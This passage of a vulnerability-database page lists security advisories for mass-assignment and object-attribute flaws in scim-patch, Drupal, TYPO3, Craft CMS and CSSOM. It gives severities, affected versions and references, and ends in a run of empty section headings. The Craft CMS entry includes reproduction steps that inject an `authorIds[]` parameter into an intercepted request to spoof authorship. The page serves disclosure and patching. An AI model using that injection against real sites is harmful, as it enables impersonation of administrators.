as defense in depth.",
  "id": "GHSA-2mhw-wcx5-v3xj",
  "modified": "2026-09-28T14:01:15Z",
  "published": "2026-09-28T14:01:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-2mhw-wcx5-v3xj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61834"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/pull/1127"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/commit/c86474f7a9b16191d939f59ba94eca6c6e63044b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thomaspoignant/scim-patch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/releases/tag/v0.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "scim-patch: Mutation of Inherited Built-in Method Objects"
}

GHSA-2QPH-Q8XW-GV7Q

Vulnerability from github – Published: 2025-04-01 00:30 – Updated: 2025-04-01 19:06

Summary

Drupal Core Improperly Controlled Modification of Dynamically-Determined Object Attributes Vulnerability

Details

Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection.This issue affects Drupal core: from 8.0.0 before 10.3.13, from 10.4.0 before 10.4.3, from 11.0.0 before 11.0.12, from 11.1.0 before 11.1.3.

Severity

4.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "10.3.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.4.0"
            },
            {
              "fixed": "10.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.1.0"
            },
            {
              "fixed": "11.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-31674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-01T19:06:02Z",
    "nvd_published_at": "2025-03-31T22:15:19Z",
    "severity": "MODERATE"
  },
  "details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection.This issue affects Drupal core: from 8.0.0 before 10.3.13, from 10.4.0 before 10.4.3, from 11.0.0 before 11.0.12, from 11.1.0 before 11.1.3.",
  "id": "GHSA-2qph-q8xw-gv7q",
  "modified": "2025-04-01T19:06:02Z",
  "published": "2025-04-01T00:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31674"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/drupal/core"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-core-2025-003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Drupal Core Improperly Controlled Modification of Dynamically-Determined Object Attributes Vulnerability"
}

GHSA-2RXH-H6H9-QRQC

Vulnerability from github – Published: 2020-05-13 23:18 – Updated: 2021-01-08 20:16

Summary

Class destructors causing side-effects when being unserialized in TYPO3 CMS

Details

Calling unserialize() on malicious user-submitted content can result in the following scenarios: - trigger deletion of arbitrary directory in file system (if writable for web server) - trigger message submission via email using identity of web site (mail relay)

Another insecure deserialization vulnerability is required to actually exploit mentioned aspects.

Update to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.

References

https://typo3.org/security/advisory/typo3-core-sa-2020-004

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-11066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-05-13T23:17:19Z",
    "nvd_published_at": "2020-05-14T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "Calling unserialize() on malicious user-submitted content can result in the following scenarios:\n- trigger deletion of arbitrary directory in file system (if writable for web server)\n- trigger message submission via email using identity of web site (mail relay)\n\nAnother insecure deserialization vulnerability is required to actually exploit mentioned aspects.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-004",
  "id": "GHSA-2rxh-h6h9-qrqc",
  "modified": "2021-01-08T20:16:34Z",
  "published": "2020-05-13T23:18:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/TYPO3.CMS/security/advisories/GHSA-2rxh-h6h9-qrqc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2020-11066.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms/CVE-2020-11066.yaml"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2020-004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Class destructors causing side-effects when being unserialized in TYPO3 CMS"
}

GHSA-2XFC-G69J-X2MP

Vulnerability from github – Published: 2026-03-03 21:00 – Updated: 2026-03-04 18:39

Summary

Craft CMS: Entries Authorship Spoofing via Mass Assignment

Details

Description

The entry creation process allows for Mass Assignment of the authorId attribute. A user with "Create Entries" permission can inject the authorIds[] (or authorId) parameter into the POST request, which the backend processes without verifying if the current user is authorized to assign authorship to others.

Normally, this field is not present in the request for users without the necessary permissions. By manually adding this parameter, an attacker can attribute the new entry to any user, including Admins. This effectively "spoofs" the authorship.

Proof of Concept

Prerequisites

A user account with "Create Entries" permission for a section.
Victim's account ID (e.g., 1 for the default Admin).

Steps to Reproduce

Log in as the attacker
Navigate to the "Entries" section and click "New Entry"
Fill in the required fields
Enable a proxy tool (e.g., Burp Suite) to intercept requests
Click "Save" & Intercept the request
In the request body, add a new parameter to the body params: &authorIds[]=<Victim_ID>
Forward the request
Log in as an admin / as with the victim account
Go to entries & Observe the newly created entry is listed and the author is the victim account, not the actual creator

Impact

A user can create entries that appear to belong to higher-privileged users, potentially bypassing review processes or gaining trust based on false authorship.
An attacker could post malicious or inappropriate content attributed to an administrator or other trusted users.

Resources

https://github.com/craftcms/cms/commit/c6dcbdffaf6ab3ffe77d317336684d83699f4542 https://github.com/craftcms/cms/commit/830b403870cd784b47ae42a3f5a16e7ac2d7f5a8

Severity

5.7 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28781"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:00:51Z",
    "nvd_published_at": "2026-03-04T17:16:21Z",
    "severity": "MODERATE"
  },
  "details": "## Description\nThe entry creation process allows for **Mass Assignment** of the `authorId` attribute. A user with \"Create Entries\" permission can inject the `authorIds[]` (or `authorId`) parameter into the POST request, which the backend processes without verifying if the current user is authorized to assign authorship to others.\n\nNormally, this field is not present in the request for users without the necessary permissions. By manually adding this parameter, an attacker can attribute the new entry to any user, including Admins. This effectively \"spoofs\" the authorship.\n\n## Proof of Concept\n### Prerequisites\n- A user account with \"Create Entries\" permission for a section.\n- Victim\u0027s account ID (e.g., `1` for the default Admin).\n\n### Steps to Reproduce\n1. Log in as the attacker\n1. Navigate to the \"Entries\" section and click \"New Entry\"\n1. Fill in the required fields\n1. Enable a proxy tool (e.g., Burp Suite) to intercept requests\n1. Click \"Save\" \u0026 Intercept the request\n1. In the request body, add a new parameter to the body params: `\u0026authorIds[]=\u003cVictim_ID\u003e`\n1. Forward the request\n1. Log in as an admin / as with the victim account\n1. Go to entries \u0026 Observe the newly created entry is listed and the author is the victim account, not the actual creator\n\n## Impact\n- A user can create entries that appear to belong to higher-privileged users, potentially bypassing review processes or gaining trust based on false authorship.\n- An attacker could post malicious or inappropriate content attributed to an administrator or other trusted users.\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/c6dcbdffaf6ab3ffe77d317336684d83699f4542\nhttps://github.com/craftcms/cms/commit/830b403870cd784b47ae42a3f5a16e7ac2d7f5a8",
  "id": "GHSA-2xfc-g69j-x2mp",
  "modified": "2026-03-04T18:39:05Z",
  "published": "2026-03-03T21:00:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-2xfc-g69j-x2mp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28781"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/830b403870cd784b47ae42a3f5a16e7ac2d7f5a8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/c6dcbdffaf6ab3ffe77d317336684d83699f4542"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS: Entries Authorship Spoofing via Mass Assignment"
}

GHSA-38J3-W94G-V5M4

Vulnerability from github – Published: 2026-09-18 18:31 – Updated: 2026-09-18 18:31

Details

CSSOM through 0.5.0 contains a denial of service vulnerability in CSSStyleDeclaration.setProperty() that fails to validate reserved property names. Attackers can supply a stylesheet with a declaration named length to replace the internal counter and trigger excessive memory allocation during cssText serialization, causing process termination.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-93752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T18:18:34Z",
    "severity": "HIGH"
  },
  "details": "CSSOM through 0.5.0 contains a denial of service vulnerability in CSSStyleDeclaration.setProperty() that fails to validate reserved property names. Attackers can supply a stylesheet with a declaration named length to replace the internal counter and trigger excessive memory allocation during cssText serialization, causing process termination.",
  "id": "GHSA-38j3-w94g-v5m4",
  "modified": "2026-09-18T18:31:44Z",
  "published": "2026-09-18T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93752"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NV/CSSOM/issues/119"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NV/CSSOM"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NV/CSSOM/blob/00ec21868e12422581c81779135c2f1648441204/lib/CSSStyleDeclaration.js#L112-L124"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NV/CSSOM/blob/00ec21868e12422581c81779135c2f1648441204/lib/CSSStyleDeclaration.js#L41-L56"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/cssom-through-0.5.0-denial-of-service-via-length-property"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

CWE-915

Improperly Controlled Modification of Dynamically-Determined Object Attributes

Impact

Patches

Workarounds

References

Summary

Details

PoC

Global write bypass with pwned marker

Command id execution via host gadget

Impact

Summary

Impact

Affected component

Proof of concept

Remediation

Summary

Impact

Details

PoC

Remediation

References

Description

Proof of Concept

Prerequisites

Steps to Reproduce

Impact

Resources

Mitigation

Mitigation

Mitigation

Mitigation

Global write bypass with `pwned` marker

Command `id` execution via host gadget